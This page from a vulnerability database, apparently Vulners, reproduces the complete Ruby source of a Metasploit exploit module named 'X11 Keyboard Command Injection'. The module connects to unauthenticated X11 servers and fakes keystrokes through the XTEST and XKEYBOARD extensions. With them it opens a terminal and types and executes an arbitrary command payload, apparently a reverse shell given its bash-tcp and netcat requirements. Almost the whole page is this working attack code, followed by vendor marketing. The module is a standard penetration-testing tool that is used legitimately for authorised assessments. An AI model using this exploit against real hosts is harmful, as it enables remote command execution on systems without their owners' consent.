Lucene search
K

X11 Keyboard Command Injection

🗓️ 10 Jul 2015 06:57:54Reported by xistence <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 52 Views

X11 Keyboard Command Injection module exploiting open X11 servers by connecting and registering a virtual keyboard to open and execute command in xterm or gnome terminal

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp

  KB_KEYS = {
    '1' => "\x0a",
    '2' => "\x0b",
    '3' => "\x0c",
    '4' => "\x0d",
    '5' => "\x0e",
    '6' => "\x0f",
    '7' => "\x10",
    '&' => "\x10",
    '8' => "\x11",
    '9' => "\x12",
    '(' => "\x12",
    '0' => "\x13",
    ')' => "\x13",
    '-' => "\x14",
    '=' => "\x15",
    'q' => "\x18",
    'w' => "\x19",
    'e' => "\x1a",
    'r' => "\x1b",
    't' => "\x1c",
    'y' => "\x1d",
    'u' => "\x1e",
    'i' => "\x1f",
    'o' => "\x20",
    'p' => "\x21",
    '[' => "\x22",
    '{' => "\x22",
    ']' => "\x23",
    '}' => "\x23",
    'a' => "\x26",
    's' => "\x27",
    'd' => "\x28",
    'f' => "\x29",
    'g' => "\x2a",
    'h' => "\x2b",
    'j' => "\x2c",
    'k' => "\x2d",
    'l' => "\x2e",
    ';' => "\x2f",
    ':' => "\x2f",
    "'" => "\x30",
    '"' => "\x30",
    '`' => "\x31",
    '~' => "\x31",
    'lshift' => "\x32",
    '\\' => "\x33",
    '|' => "\x33",
    'z' => "\x34",
    'x' => "\x35",
    'c' => "\x36",
    'v' => "\x37",
    'b' => "\x38",
    'n' => "\x39",
    'm' => "\x3a",
    ',' => "\x3b",
    '<' => "\x3b",
    '.' => "\x3c",
    '>' => "\x3c",
    '/' => "\x3d",
    '*' => "\x3f",
    'alt' => "\x40",
    ' ' => "\x41",
    'f2' => "\x44"
  }


  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'X11 Keyboard Command Injection',
      'Description'     => %q{
        This module exploits open X11 servers by connecting and registering a
        virtual keyboard. The virtual keyboard is used to open an xterm or gnome
        terminal and type and execute the specified payload.
      },
      'Author'          =>
        [
          'xistence <xistence[at]0x90.nl>'
        ],
      'Privileged'      => false,
      'License'         => MSF_LICENSE,
      'Payload'         =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'gawk bash-tcp python netcat'
            }
        },
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'Targets'         =>
        [
          [ 'xterm (Generic)', {}],
          [ 'gnome-terminal (Ubuntu)', {}],
        ],      'DisclosureDate'  => '2015-07-10',
      'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(6000),
        OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
      ])
  end


  def xkeyboard_key
    req = ""
    req << @xkeyboard_opcode
    req << "\x05" # Extension minor: 5 (LatchLockState)
    req << "\x04\x00" # Request length: 4
    req << "\x00\x01" # DeviceSpec: 0x0100 (256)
    req << "\x00" # affectModLocks: 0
    req << "\x00" # modLocks: 0
    req << "\x01" # lockGroup: True
    req << "\x00" # groupLock: 0
    req << "\x00" # affectModLatches: 0
    req << "\x00" # Unused
    req << "\x00" # latchGroup: False
    req << "\x00\x00" # groupLatch: 0
    req << "\x00" # Undecoded
    return req
  end


  def press_key(key)

    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x02" # Press key (Type: 2)
    req << key # What key to press
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    #req << "\x00\x01" # rootX: 256
    #req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0,1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
    end

  end

  def release_key(key)

    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x03" # Release key (Type: 3)
    req << key # What key to release
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    #req << "\x00\x01" # rootX: 256
    #req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0,1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
    end

  end

  def type_command(command)
    # Specify the special keys which need to have shift pressed first to type
    specialkeys = '<>{}|"&()'.chars
    values = command.chars
    values.each do |value|
      key = KB_KEYS[value]
      # Special keys need a shift pressed to be typed
      if Regexp.union(specialkeys) =~ value
        press_key(KB_KEYS["lshift"]) # [lshift]
        press_key(key)
        release_key(KB_KEYS["lshift"])
        release_key(key)
      # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
      elsif value =~ /[A-Z]/
        press_key(KB_KEYS["lshift"]) # [lshift]
        press_key(KB_KEYS[value.downcase])
        release_key(KB_KEYS["lshift"])
        release_key(KB_KEYS[value.downcase])
      # All normal keys which are not special keys or uppercase characters
      else
        press_key(key)
        release_key(key)
      end
    end
    # Send an enter
    press_key("\x24") # [enter]
    release_key("\x24") # [enter]
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ""
    begin
      read_data = sock.get_once(-1, 1)
      while not read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError
    end
    data
  end

  def exploit

    begin
      connect

      print_status("#{rhost}:#{rport} - Register keyboard")

      req = "\x6c" # Byte order (Little-Endian)
      req << "\x00" # Unused
      req << "\x0b\x00" # Protocol major version: 11
      req << "\x00\x00" # Protocol minor version: 0
      req << "\x00\x00" # Authorization protocol name length: 0
      req << "\x00\x00" # Authorization protocol data length: 0
      req << "\x00\x00" # Unused

     # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
      end


      # Keyboard registration
      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x05\x00" # Request length: 5
      req << "\x09\x00" # Name length: 9
      req << "\x60\x03" # Unused?
      req << "XKEYBOARD" # Name
      req << "\x00\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
      else
        #puts res.inspect
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
      end


      req = ""
      req << @xkeyboard_opcode
      req << "\x00" # Extension minor: 0 (UseExtension)
      req << "\x02\x00" # Request length: 2
      req << "\x01\x00" # Wanted Major: 1
      req << "\x00\x00" # Wanted Minor: 0

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x06\x00" # Request length: 6
      req << "\x0f\x00" # Name length: 15
      req << "\x00\x00" # Unused
      req << "XInputExtension" # Name
      req << "\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x04\x00" # Request length: 4
      req << "\x05\x00" # Name length: 5
      req << "\x00\x00" # Unused
      req << "XTEST" # Name
      req << "\x00\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @xtest_opcode = res[9,1] # Retrieve the XTEST opcode
      else
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
      end


      req = "\x62" # Opcode 98: QueryExtension
      req << "\x00" # Unused
      req << "\x08\x00" # Request length
      req << "\x17\x00" # Name length
      req << "\x00\x00" # Unused
      req << "Generic Event Extension" # Name
      req << "\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      if res && res[0,1] == "\x01"
        @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
      else
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
      end


      req = ""
      req << @genericevent_opcode
      req << "\x00" # Extension minor: 0 (QueryVersion)
      req << "\x02\x00" # Request length: 2
      req << "\x01\x00" # Client major version: 1
      req << "\x00\x00" # Client minor version: 0

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
      end


      req = ""
      req << @xtest_opcode
      req << "\x00" # Extension minor: 0 (GetVersion)
      req << "\x02\x00" # Request length: 2
      req << "\x02\x00" # Major version: 2
      req << "\x02\x00" # Minor version: 2

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
      end


      req = "\x65" # Opcode 101: GetKeyboardMapping
      req << "\x00" # Unused
      req << "\x02\x00" # Request length: 2
      req << "\x08" # First keycode: 8
      req << "\xf8" # Count: 248
      req << "\x02\x00" # Unused?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
      end


      req = ""
      req << @xkeyboard_opcode
      req << "\x08" # Extension minor: 8 (GetMap)
      req << "\x07\x00" # Request length: 7
      req << "\x00\x01" # Device spec: 0x0100 (256)
      req << "\x07\x00" # Full: 7
      req << "\x00\x00" # Partial: 0
      req << "\x00" # firsType: 0
      req << "\x00" # nTypes: 0
      req << "\x00" # firstKeySym: 0
      req << "\x00" # nKeySym: 0
      req << "\x00" # firstKeyAction: 0
      req << "\x00" # nKeysActions: 0
      req << "\x00" # firstKeyBehavior: 0
      req << "\x00" # nKeysBehavior: 0
      req << "\x00\x00" # virtualMods: 0
      req << "\x00" # firstKeyExplicit: 0
      req << "\x00" # nKeyExplicit: 0
      req << "\x00" # firstModMapKey: 0
      req << "\x00" # nModMapKeys: 0
      req << "\x00" # firstVModMapKey: 0
      req << "\x00" # nVModMapKeys: 0
      req << "\x00\x00" # Unused, padding?

      # Retrieve the whole X11 details response
      res = send_msg(sock,req)

      # Response should give 0x01 in first byte (Success)
      unless res && res[0,1] == "\x01"
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
      end


      # Press ALT+F2 to start up "Run application"
      print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
      press_key(KB_KEYS["alt"])
      press_key(KB_KEYS["f2"])
      release_key(KB_KEYS["alt"])
      release_key(KB_KEYS["f2"])

      # Wait X seconds to open the dialog
      print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
      Rex.sleep(datastore['TIME_WAIT'])

      if datastore['TARGET'] == 0
        # Start a xterm terminal
        print_status("#{rhost}:#{rport} - Opening xterm")
        type_command("xterm")
      else
        # Start a Gnome terminal
        print_status("#{rhost}:#{rport} - Opening gnome-terminal")
        type_command("gnome-terminal")
      end

      print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
      # Wait X seconds to open the terminal
      Rex.sleep(datastore['TIME_WAIT'])

      # "Type" our payload and execute it
      print_status("#{rhost}:#{rport} - Typing and executing payload")
      command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"

      type_command(command)

      handler
    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
      print_error("#{rhost}:#{rport} - #{e.message}")
    ensure
      disconnect
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.2High risk
Vulners AI Score7.2
52